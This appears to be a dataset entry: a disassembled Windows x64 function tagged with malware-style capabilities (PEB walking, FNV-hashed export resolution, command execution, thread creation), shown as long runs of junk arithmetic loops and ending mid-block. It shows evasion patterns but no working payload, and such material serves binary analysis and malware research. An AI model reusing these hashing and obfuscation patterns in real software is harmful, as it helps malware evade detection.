Function at 0x1400779b0
Capabilities:
Access peb ldr_data
Check os version
Create thread
Execute command
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push rsi
push rdi
sub rsp, 0x4f8
mov rax, qword [0x14066d440]
xor rax, rsp
mov qword [rsp + 0x4e8], rax
mov dword [rsp + 0x290], 0
mov dword [rsp + 0x9c], 5
mov eax, dword [rsp + 0x9c]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140078c62
mov dword [rsp + 0x218], 0
jmp 0x140077a16
mov eax, dword [rsp + 0x218]
inc eax
mov dword [rsp + 0x218], eax
mov eax, dword [rsp + 0x9c]
cmp dword [rsp + 0x218], eax
jge 0x140078c5d
mov dword [rsp + 0x1b8], gethostname
mov dword [rsp + 0x164], 0
jmp 0x140077a52
mov eax, dword [rsp + 0x164]
inc eax
mov dword [rsp + 0x164], eax
cmp dword [rsp + 0x164], 6
jge 0x14007836a
mov eax, dword [rsp + 0x164]
add eax, 2
mov dword [rsp + 0x140], eax
mov eax, dword [rsp + 0x140]
add eax, 3
mov dword [rsp + 0x140], eax
cmp dword [rsp + 0x140], 0xb
jne 0x140078357
mov dword [rsp + 0x1a0], 0
jmp 0x140077aad
mov eax, dword [rsp + 0x1a0]
inc eax
mov dword [rsp + 0x1a0], eax
mov eax, dword [rsp + 0x9c]
cmp dword [rsp + 0x1a0], eax
jge 0x140077f47
mov dword [rsp + 0x1a4], 7
mov dword [rsp + 0x168], 0
jmp 0x140077ae9
mov eax, dword [rsp + 0x168]
inc eax
mov dword [rsp + 0x168], eax
cmp dword [rsp + 0x168], 2
jge 0x140077cca
mov eax, dword [rsp + 0x168]
inc eax
mov dword [rsp + 0x138], eax
mov eax, dword [rsp + 0x138]
inc eax
mov dword [rsp + 0x138], eax
cmp dword [rsp + 0x138], 2
jne 0x140077cb7
mov dword [rsp + 0x58], 5
cmp dword [rsp + 0x58], 0x1e
jge 0x140077b6a
mov eax, dword [rsp + 0x58]
add eax, 5
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x58]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x140077b5d
mov eax, dword [rsp + 0x58]
shl eax, 1
mov dword [rsp + 0x58], eax
jmp 0x140077b68
mov eax, dword [rsp + 0x58]
sub eax, 3
mov dword [rsp + 0x58], eax
jmp 0x140077b2d
cmp dword [rsp + 0x58], 0xf
jle 0x140077bec
mov dword [rsp + 0xc4], 0
jmp 0x140077b8e
mov eax, dword [rsp + 0xc4]
inc eax
mov dword [rsp + 0xc4], eax
cmp dword [rsp + 0xc4], 6
jge 0x140077bea
imul eax, dword [rsp + 0xc4], 7
mov ecx, dword [rsp + 0x58]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x58]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x140077bd4
mov eax, dword [rsp + 0xc4]
mov ecx, dword [rsp + 0x58]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x58], eax
jmp 0x140077be8
imul eax, dword [rsp + 0xc4], 3
mov ecx, dword [rsp + 0x58]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x58], eax
jmp 0x140077b7e
jmp 0x140077c16
mov eax, dword [rsp + 0x58]
sub eax, 8
mov dword [rsp + 0x58], eax
cmp dword [rsp + 0x58], 0xa
jge 0x140077c0b
mov eax, dword [rsp + 0x58]
add eax, 5
mov dword [rsp + 0x58], eax
jmp 0x140077c16
mov eax, dword [rsp + 0x58]
sub eax, 2
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x58]
add eax, 4
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x58]
cdq
mov ecx, 6
idiv ecx
mov eax, edx
test eax, eax
jne 0x140077c40
mov eax, dword [rsp + 0x58]
sub eax, 5
mov dword [rsp + 0x58], eax
jmp 0x140077c4b
mov eax, dword [rsp + 0x58]
add eax, 6
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x58]
cdq
mov ecx, 5
idiv ecx
mov eax, edx
test eax, eax
jne 0x140077c16
cmp dword [rsp + 0x58], 0
jle 0x140077c9c
mov eax, dword [rsp + 0x58]
sub eax, 4
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x58]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x140077c8f
mov eax, dword [rsp + 0x58]
add eax, 7
mov dword [rsp + 0x58], eax
jmp 0x140077c9a
mov eax, dword [rsp + 0x58]
sub eax, 3
mov dword [rsp + 0x58], eax
jmp 0x140077c5d
mov eax, dword [rsp + 0x138]
imul eax, dword [rsp + 0x1a4]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x294], eax
cmp dword [rsp + 0x138], 3
jl 0x140077b07
jmp 0x140077ad9
cmp dword [rsp + 0x1a4], 5
jle 0x140077f42
mov eax, dword [rsp + 0x1a4]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1a8], eax
mov dword [rsp + 0x88], 0xa
mov dword [rsp + 0xc8], 0
jmp 0x140077d13
mov eax, dword [rsp + 0xc8]
inc eax
mov dword [rsp + 0xc8], eax
cmp dword [rsp + 0xc8], 5
jge 0x140077d7f
imul eax, dword [rsp + 0xc8], 3
mov ecx, dword [rsp + 0x88]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x88], eax
mov eax, dword [rsp + 0x88]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140077d65
mov eax, dword [rsp + 0xc8]
mov ecx, dword [rsp + 0x88]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x88], eax
jmp 0x140077d7d
mov eax, dword [rsp + 0x88]
mov ecx, dword [rsp + 0xc8]
lea eax, [rax + rcx*2]
mov dword [rsp + 0x88], eax
jmp 0x140077d03
cmp dword [rsp + 0x88], 0x14
jle 0x140077e21
mov dword [rsp + 0xcc], 0
jmp 0x140077daa
mov eax, dword [rsp + 0xcc]
inc eax
mov dword [rsp + 0xcc], eax
cmp dword [rsp + 0xcc], 3
jge 0x140077e1f
mov eax, dword [rsp + 0xcc]
add eax, 2
mov ecx, dword [rsp + 0x88]
imul ecx, eax
mov eax, ecx
mov dword [rsp + 0x88], eax
mov eax, dword [rsp + 0x88]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x140077e01
mov eax, dword [rsp + 0xcc]
mov ecx, dword [rsp + 0x88]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x88], eax
jmp 0x140077e1a
mov eax, dword [rsp + 0xcc]
mov ecx, dword [rsp + 0x88]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x88], eax
jmp 0x140077d9a
jmp 0x140077e60
mov eax, dword [rsp + 0x88]
sub eax, 5
mov dword [rsp + 0x88], eax
cmp dword [rsp + 0x88], 0xa
jge 0x140077e4f
mov eax, dword [rsp + 0x88]
add eax, 3
mov dword [rsp + 0x88], eax
jmp 0x140077e60
mov eax, dword [rsp + 0x88]
sub eax, 2
mov dword [rsp + 0x88], eax
mov eax, dword [rsp + 0x88]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
je 0x140077ec2
mov eax, dword [rsp + 0x88]
add eax, 2
mov dword [rsp + 0x88], eax
mov eax, dword [rsp + 0x88]
cdq
mov ecx, 5
idiv ecx
mov eax, edx
test eax, eax
jne 0x140077eaf
mov eax, dword [rsp + 0x88]
sub eax, 3
mov dword [rsp + 0x88], eax
jmp 0x140077ec0
mov eax, dword [rsp + 0x88]
add eax, 4
mov dword [rsp + 0x88], eax
jmp 0x140077e60
mov eax, dword [rsp + 0x88]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
je 0x140077f24
mov eax, dword [rsp + 0x88]
add eax, 2
mov dword [rsp + 0x88], eax
mov eax, dword [rsp + 0x88]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x140077f11
mov eax, dword [rsp + 0x88]
sub eax, 2
mov dword [rsp + 0x88], eax
jmp 0x140077f22
mov eax, dword [rsp + 0x88]
add eax, 3
mov dword [rsp + 0x88], eax
jmp 0x140077ec2
mov eax, dword [rsp + 0x1a8]
dec eax
mov dword [rsp + 0x1a8], eax
cmp dword [rsp + 0x1a8], 0
jg 0x140077ceb
jmp 0x140077a9d
mov eax, dword [rsp + 0x140]
imul eax, dword [rsp + 0x1b8]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x298], eax
mov dword [rsp + 0x1ac], 0
jmp 0x140077f7f
mov eax, dword [rsp + 0x1ac]
inc eax
mov dword [rsp + 0x1ac], eax
mov eax, dword [rsp + 0x9c]
cmp dword [rsp + 0x1ac], eax
jge 0x140078357
mov dword [rsp + 0x1b0], 7
mov dword [rsp + 0x16c], 0
jmp 0x140077fbb
mov eax, dword [rsp + 0x16c]
inc eax
mov dword [rsp + 0x16c], eax
cmp dword [rsp + 0x16c], 2
jge 0x14007819c
mov eax, dword [rsp + 0x16c]
inc eax
mov dword [rsp + 0x13c], eax
mov eax, dword [rsp + 0x13c]
inc eax
mov dword [rsp + 0x13c], eax
cmp dword [rsp + 0x13c], 2
jne 0x140078189
mov dword [rsp + 0x48], 5
cmp dword [rsp + 0x48], 0x19
jge 0x14007803c
mov eax, dword [rsp + 0x48]
add eax, 4
mov dword [rsp + 0x48], eax
mov eax, dword [rsp + 0x48]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14007802f
mov eax, dword [rsp + 0x48]
shl eax, 1
mov dword [rsp + 0x48], eax
jmp 0x14007803a
mov eax, dword [rsp + 0x48]
sub eax, 3
mov dword [rsp + 0x48], eax
jmp 0x140077fff
cmp dword [rsp + 0x48], 0xf
jle 0x1400780be
mov dword [rsp + 0xd0], 0
jmp 0x140078060
mov eax, dword [rsp + 0xd0]
inc eax
mov dword [rsp + 0xd0], eax
cmp dword [rsp + 0xd0], 5
jge 0x1400780bc
imul eax, dword [rsp + 0xd0], 6
mov ecx, dword [rsp + 0x48]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x48], eax
mov eax, dword [rsp + 0x48]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x1400780a6
mov eax, dword [rsp + 0xd0]
mov ecx, dword [rsp + 0x48]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x48], eax
jmp 0x1400780ba
imul eax, dword [rsp + 0xd0], 3
mov ecx, dword [rsp + 0x48]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x48], eax
jmp 0x140078050
jmp 0x1400780e8
mov eax, dword [rsp + 0x48]
sub eax, 7
mov dword [rsp + 0x48], eax
cmp dword [rsp + 0x48], 0xa
jge 0x1400780dd
mov eax, dword [rsp + 0x48]
add eax, 4
mov dword [rsp + 0x48], eax
jmp 0x1400780e8
mov eax, dword [rsp + 0x48]
sub eax, 2
mov dword [rsp + 0x48], eax
mov eax, dword [rsp + 0x48]
add eax, 3
mov dword [rsp + 0x48], eax
mov eax, dword [rsp + 0x48]
cdq
mov ecx, 6
idiv ecx
mov eax, edx
test eax, eax
jne 0x140078112
mov eax, dword [rsp + 0x48]
sub eax, 4
mov dword [rsp + 0x48], eax
jmp 0x14007811d
mov eax, dword [rsp + 0x48]
add eax, 5
mov dword [rsp + 0x48], eax
mov eax, dword [rsp + 0x48]
cdq
mov ecx, 5
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400780e8
cmp dword [rsp + 0x48], 0
jle 0x14007816e
mov eax, dword [rsp + 0x48]
sub eax, 3
mov dword [rsp + 0x48], eax
mov eax, dword [rsp + 0x48]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x140078161
mov eax, dword [rsp + 0x48]
add eax, 6
mov dword [rsp + 0x48], eax
jmp 0x14007816c
mov eax, dword [rsp + 0x48]
sub eax, 2
mov dword [rsp + 0x48], eax
jmp 0x14007812f
mov eax, dword [rsp + 0x13c]
imul eax, dword [rsp + 0x1b0]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x29c], eax
cmp dword [rsp + 0x13c], 3
jl 0x140077fd9
jmp 0x140077fab
cmp dword [rsp + 0x1b0], 5
jle 0x140078352
mov eax, dword [rsp + 0x1b0]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1b4], eax
mov dword [rsp + 0x40], 5
cmp dword [rsp + 0x40], 0x19
jge 0x140078202
mov eax, dword [rsp + 0x40]
add eax, 0xa
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400781f5
mov eax, dword [rsp + 0x40]
shl eax, 1
mov dword [rsp + 0x40], eax
jmp 0x140078200
mov eax, dword [rsp + 0x40]
sub eax, 3
mov dword [rsp + 0x40], eax
jmp 0x1400781c5
cmp dword [rsp + 0x40], 0xf
jle 0x140078284
mov dword [rsp + 0xd4], 0
jmp 0x140078226
mov eax, dword [rsp + 0xd4]
inc eax
mov dword [rsp + 0xd4], eax
cmp dword [rsp + 0xd4], 5
jge 0x140078282
imul eax, dword [rsp + 0xd4], 6
mov ecx, dword [rsp + 0x40]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x14007826c
mov eax, dword [rsp + 0xd4]
mov ecx, dword [rsp + 0x40]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x40], eax
jmp 0x140078280
imul eax, dword [rsp + 0xd4], 3
mov ecx, dword [rsp + 0x40]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x40], eax
jmp 0x140078216
jmp 0x1400782ae
mov eax, dword [rsp + 0x40]
sub eax, 7
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x40], 0xa
jge 0x1400782a3
mov eax, dword [rsp + 0x40]
add eax, 4
mov dword [rsp + 0x40], eax
jmp 0x1400782ae
mov eax, dword [rsp + 0x40]
sub eax, 2
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
add eax, 3
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
mov ecx, 6
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400782d8
mov eax, dword [rsp + 0x40]
sub eax, 4
mov dword [rsp + 0x40], eax
jmp 0x1400782e3
mov eax, dword [rsp + 0x40]
add eax, 5
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
mov ecx, 5
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400782ae
cmp dword [rsp + 0x40], 0
jle 0x140078334
mov eax, dword [rsp + 0x40]
sub eax, 0x32
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x140078327
mov eax, dword [rsp + 0x40]
add eax, 6
mov dword [rsp + 0x40], eax
jmp 0x140078332
mov eax, dword [rsp + 0x40]
sub eax, 2
mov dword [rsp + 0x40], eax
jmp 0x1400782f5
mov eax, dword [rsp + 0x1b4]
dec eax
mov dword [rsp + 0x1b4], eax
cmp dword [rsp + 0x1b4], 0
jg 0x1400781bd
jmp 0x140077f6f
cmp dword [rsp + 0x140], 0xf
jl 0x140077a71
jmp 0x140077a42
cmp dword [rsp + 0x1b8], 0x19
jle 0x1400787a1
mov eax, dword [rsp + 0x1b8]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0x1c8], eax
mov dword [rsp + 0x1bc], 0
jmp 0x1400783ac
mov eax, dword [rsp + 0x1bc]
inc eax
mov dword [rsp + 0x1bc], eax
mov eax, dword [rsp + 0x9c]
cmp dword [rsp + 0x1bc], eax
jge 0x140078782
mov dword [rsp + 0x1c0], 7
mov dword [rsp + 0x170], 0
jmp 0x1400783e8
mov eax, dword [rsp + 0x170]
inc eax
mov dword [rsp + 0x170], eax
cmp dword [rsp + 0x170], 2
jge 0x1400785c7
mov eax, dword [rsp + 0x170]
inc eax
mov dword [rsp + 0x144], eax
mov eax, dword [rsp + 0x144]
inc eax
mov dword [rsp + 0x144], eax
cmp dword [rsp + 0x144], 2
jne 0x1400785b4
mov dword [rsp + 0x54], 5
cmp dword [rsp + 0x54], 0x23
jge 0x140078469
mov eax, dword [rsp + 0x54]
add eax, 6
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x54]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14007845c
mov eax, dword [rsp + 0x54]
add eax, eax
mov dword [rsp + 0x54], eax
jmp 0x140078467
mov eax, dword [rsp + 0x54]
sub eax, 3
mov dword [rsp + 0x54], eax
jmp 0x14007842c
cmp dword [rsp + 0x54], 0xf
jle 0x1400784e9
mov dword [rsp + 0xd8], 0
jmp 0x14007848d
mov eax, dword [rsp + 0xd8]
inc eax
mov dword [rsp + 0xd8], eax
cmp dword [rsp + 0xd8], 7
jge 0x1400784e7
mov eax, dword [rsp + 0x54]
mov ecx, dword [rsp + 0xd8]
lea eax, [rax + rcx*8]
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x54]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x1400784d1
mov eax, dword [rsp + 0xd8]
mov ecx, dword [rsp + 0x54]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x54], eax
jmp 0x1400784e5
imul eax, dword [rsp + 0xd8], 3
mov ecx, dword [rsp + 0x54]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x54], eax
jmp 0x14007847d
jmp 0x140078513
mov eax, dword [rsp + 0x54]
sub eax, 9
mov dword [rsp + 0x54], eax
cmp dword [rsp + 0x54], 0xa
jge 0x140078508
mov eax, dword [rsp + 0x54]
add eax, 6
mov dword [rsp + 0x54], eax
jmp 0x140078513
mov eax, dword [rsp + 0x54]
sub eax, 2
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x54]
add eax, 5
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x54]
cdq
mov ecx, 6
idiv ecx
mov eax, edx
test eax, eax
jne 0x14007853d
mov eax, dword [rsp + 0x54]
sub eax, 6
mov dword [rsp + 0x54], eax
jmp 0x140078548
mov eax, dword [rsp + 0x54]
add eax, 7
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x54]
cdq
mov ecx, 5
idiv ecx
mov eax, edx
test eax, eax
jne 0x140078513
cmp dword [rsp + 0x54], 0
jle 0x140078599
mov eax, dword [rsp + 0x54]
sub eax, 5
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x54]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x14007858c
mov eax, dword [rsp + 0x54]
add eax, 8
mov dword [rsp + 0x54], eax
jmp 0x140078597
mov eax, dword [rsp + 0x54]
sub eax, 3
mov dword [rsp + 0x54], eax
jmp 0x14007855a
mov eax, dword [rsp + 0x144]
imul eax, dword [rsp + 0x1c0]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x2a0], eax
cmp dword [rsp + 0x144], 3
jl 0x140078406
jmp 0x1400783d8
cmp dword [rsp + 0x1c0], 5
jle 0x14007877d
mov eax, dword [rsp + 0x1c0]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1c4], eax
mov dword [rsp + 0x5c], 5
cmp dword [rsp + 0x5c], 0x19
jge 0x14007862d
mov eax, dword [rsp + 0x5c]
add eax, 0xa
mov dword [rsp + 0x5c], eax
mov eax, dword [rsp + 0x5c]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x140078620
mov eax, dword [rsp + 0x5c]
shl eax, 1
mov dword [rsp + 0x5c], eax
jmp 0x14007862b
mov eax, dword [rsp + 0x5c]
sub eax, 3
mov dword [rsp + 0x5c], eax
jmp 0x1400785f0
cmp dword [rsp + 0x5c], 0xf
jle 0x1400786af
mov dword [rsp + 0xdc], 0
jmp 0x140078651
mov eax, dword [rsp + 0xdc]
inc eax
mov dword [rsp + 0xdc], eax
cmp dword [rsp + 0xdc], 5
jge 0x1400786ad
imul eax, dword [rsp + 0xdc], 6
mov ecx, dword [rsp + 0x5c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5c], eax
mov eax, dword [rsp + 0x5c]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x140078697
mov eax, dword [rsp + 0xdc]
mov ecx, dword [rsp + 0x5c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5c], eax
jmp 0x1400786ab
imul eax, dword [rsp + 0xdc], 3
mov ecx, dword [rsp + 0x5c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5c], eax
jmp 0x140078641
jmp 0x1400786d9
mov eax, dword [rsp + 0x5c]
sub eax, 7
mov dword [rsp + 0x5c], eax
cmp dword [rsp + 0x5c], 0xa
jge 0x1400786ce
mov eax, dword [rsp + 0x5c]
add eax, 4
mov dword [rsp + 0x5c], eax
jmp 0x1400786d9
mov eax, dword [rsp + 0x5c]
sub eax, 2
mov dword [rsp + 0x5c], eax
mov eax, dword [rsp + 0x5c]
add eax, 3
mov dword [rsp + 0x5c], eax
mov eax, dword [rsp + 0x5c]
cdq
mov ecx, 6
idiv ecx
mov eax, edx
test eax, eax
jne 0x140078703
mov eax, dword [rsp + 0x5c]
sub eax, 4
mov dword [rsp + 0x5c], eax
jmp 0x14007870e
mov eax, dword [rsp + 0x5c]
add eax, 5
mov dword [rsp + 0x5c], eax
mov eax, dword [rsp + 0x5c]
cdq
mov ecx, 5
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400786d9
cmp dword [rsp + 0x5c], 0
jle 0x14007875f
mov eax, dword [rsp + 0x5c]
sub eax, 0x32
mov dword [rsp + 0x5c], eax
mov eax, dword [rsp + 0x5c]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x140078752
mov eax, dword [rsp + 0x5c]
add eax, 6
mov dword [rsp + 0x5c], eax
jmp 0x14007875d
mov eax, dword [rsp + 0x5c]
sub eax, 2
mov dword [rsp + 0x5c], eax
jmp 0x140078720
mov eax, dword [rsp + 0x1c4]
dec eax
mov dword [rsp + 0x1c4], eax
cmp dword [rsp + 0x1c4], 0
jg 0x1400785e8
jmp 0x14007839c
mov eax, dword [rsp + 0x1c8]
sub eax, 2
mov dword [rsp + 0x1c8], eax
cmp dword [rsp + 0x1c8], 0
jg 0x14007838f
mov dword [rsp + 0x1cc], 0
jmp 0x1400787be
mov eax, dword [rsp + 0x1cc]
inc eax
mov dword [rsp + 0x1cc], eax
mov eax, dword [rsp + 0x9c]
cmp dword [rsp + 0x1cc], eax
jge 0x140078c58
mov dword [rsp + 0x1d0], 7
mov dword [rsp + 0x174], 0
jmp 0x1400787fa
mov eax, dword [rsp + 0x174]
inc eax
mov dword [rsp + 0x174], eax
cmp dword [rsp + 0x174], 2
jge 0x140078a9d
mov eax, dword [rsp + 0x174]
inc eax
mov dword [rsp + 0x148], eax
mov eax, dword [rsp + 0x148]
inc eax
mov dword [rsp + 0x148], eax
cmp dword [rsp + 0x148], 2
jne 0x140078a8a
mov dword [rsp + 0x8c], 0xa
mov dword [rsp + 0xe0], 0
jmp 0x14007885e
mov eax, dword [rsp + 0xe0]
inc eax
mov dword [rsp + 0xe0], eax
cmp dword [rsp + 0xe0], 5
jge 0x1400788ca
imul eax, dword [rsp + 0xe0], 3
mov ecx, dword [rsp + 0x8c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8c], eax
mov eax, dword [rsp + 0x8c]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1400788b0
mov eax, dword [rsp + 0xe0]
mov ecx, dword [rsp + 0x8c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8c], eax
jmp 0x1400788c8
mov eax, dword [rsp + 0x8c]
mov ecx, dword [rsp + 0xe0]
lea eax, [rax + rcx*2]
mov dword [rsp + 0x8c], eax
jmp 0x14007884e
cmp dword [rsp + 0x8c], 0x14
jle 0x14007896c
mov dword [rsp + 0xe4], 0
jmp 0x1400788f5
mov eax, dword [rsp + 0xe4]
inc eax
mov dword [rsp + 0xe4], eax
cmp dword [rsp + 0xe4], 3
jge 0x14007896a
mov eax, dword [rsp + 0xe4]
add eax, 2
mov ecx, dword [rsp + 0x8c]
imul ecx, eax
mov eax, ecx
mov dword [rsp + 0x8c], eax
mov eax, dword [rsp + 0x8c]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14007894c
mov eax, dword [rsp + 0xe4]
mov ecx, dword [rsp + 0x8c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8c], eax
jmp 0x140078965
mov eax, dword [rsp + 0xe4]
mov ecx, dword [rsp + 0x8c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8c], eax
jmp 0x1400788e5
jmp 0x1400789ab
mov eax, dword [rsp + 0x8c]
sub eax, 5
mov dword [rsp + 0x8c], eax
cmp dword [rsp + 0x8c], 0xa
jge 0x14007899a
mov eax, dword [rsp + 0x8c]
add eax, 3
mov dword [rsp + 0x8c], eax
jmp 0x1400789ab
mov eax, dword [rsp + 0x8c]
sub eax, 2
mov dword [rsp + 0x8c], eax
mov eax, dword [rsp + 0x8c]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
je 0x140078a0d
mov eax, dword [rsp + 0x8c]
add eax, 2
mov dword [rsp + 0x8c], eax
mov eax, dword [rsp + 0x8c]
cdq
mov ecx, 5
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400789fa
mov eax, dword [rsp + 0x8c]
sub eax, 3
mov dword [rsp + 0x8c], eax
jmp 0x140078a0b
mov eax, dword [rsp + 0x8c]
add eax, 4
mov dword [rsp + 0x8c], eax
jmp 0x1400789ab
mov eax, dword [rsp + 0x8c]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
je 0x140078a6f
mov eax, dword [rsp + 0x8c]
add eax, 2
mov dword [rsp + 0x8c], eax
mov eax, dword [rsp + 0x8c]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x140078a5c
mov eax, dword [rsp + 0x8c]
sub eax, 2
mov dword [rsp + 0x8c], eax
jmp 0x140078a6d
mov eax, dword [rsp + 0x8c]
add eax, 3
mov dword [rsp + 0x8c], eax
jmp 0x140078a0d
mov eax, dword [rsp + 0x148]
imul eax, dword [rsp + 0x1d0]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x2a4], eax
cmp dword [rsp + 0x148], 3
jl 0x140078818
jmp 0x1400787ea
cmp dword [rsp + 0x1d0], 5
jle 0x140078c53
mov eax, dword [rsp + 0x1d0]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1d4], eax
mov dword [rsp + 0x60], 5
cmp dword [rsp + 0x60], 0x19
jge 0x140078b03
mov eax, dword [rsp + 0x60]
add eax, 4
mov dword [rsp + 0x60], eax
mov eax, dword [rsp + 0x60]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x140078af6
mov eax, dword [rsp + 0x60]
shl eax, 1
mov dword [rsp + 0x60], eax
jmp 0x140078b01
mov eax, dword [rsp + 0x60]
sub eax, 3
mov dword [rsp + 0x60], eax
jmp 0x140078ac6
cmp dword [rsp + 0x60], 0xf
jle 0x140078b85
mov dword [rsp + 0xe8], 0
jmp 0x140078b27
mov eax, dword [rsp + 0xe8]
inc eax
mov dword [rsp + 0xe8], eax
cmp dword [rsp + 0xe8], 5
jge 0x140078b83
imul eax, dword [rsp + 0xe8], 6
mov ecx, dword [rsp + 0x60]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x60], eax
mov eax, dword [rsp + 0x60]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x140078b6d
mov eax, dword [rsp + 0xe8]
mov ecx, dword [rsp + 0x60]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x60], eax
jmp 0x140078b81
imul eax, dword [rsp + 0xe8], 3
mov ecx, dword [rsp + 0x60]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x60], eax
jmp 0x140078b17
jmp 0x140078baf
mov eax, dword [rsp + 0x60]
sub eax, 7
mov dword [rsp + 0x60], eax
cmp dword [rsp + 0x60], 0xa
jge 0x140078ba4
mov eax, dword [rsp + 0x60]
add eax, 4
mov dword [rsp + 0x60], eax
jmp 0x140078baf
mov eax, dword [rsp + 0x60]
sub eax, 2
mov dword [rsp + 0x60], eax
mov eax, dword [rsp + 0x60]
add eax, 3
mov dword [rsp + 0x60], eax
mov eax, dword [rsp + 0x60]
cdq
mov ecx, 6
idiv ecx
mov eax, edx
test eax, eax
jne 0x140078bd9
mov eax, dword [rsp + 0x60]
sub eax, 4
mov dword [rsp + 0x60], eax
jmp 0x140078be4
mov eax, dword [rsp + 0x60]
add eax, 5
mov dword [rsp + 0x60], eax
mov eax, dword [rsp + 0x60]
cdq
mov ecx, 5
idiv ecx
mov eax, edx
test eax, eax
jne 0x140078baf
cmp dword [rsp + 0x60], 0
jle 0x140078c35
mov eax, dword [rsp + 0x60]
sub eax, 3
mov dword [rsp + 0x60], eax
mov eax, dword [rsp + 0x60]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x140078c28
mov eax, dword [rsp + 0x60]
add eax, 6
mov dword [rsp + 0x60], eax
jmp 0x140078c33
mov eax, dword [rsp + 0x60]
sub eax, 2
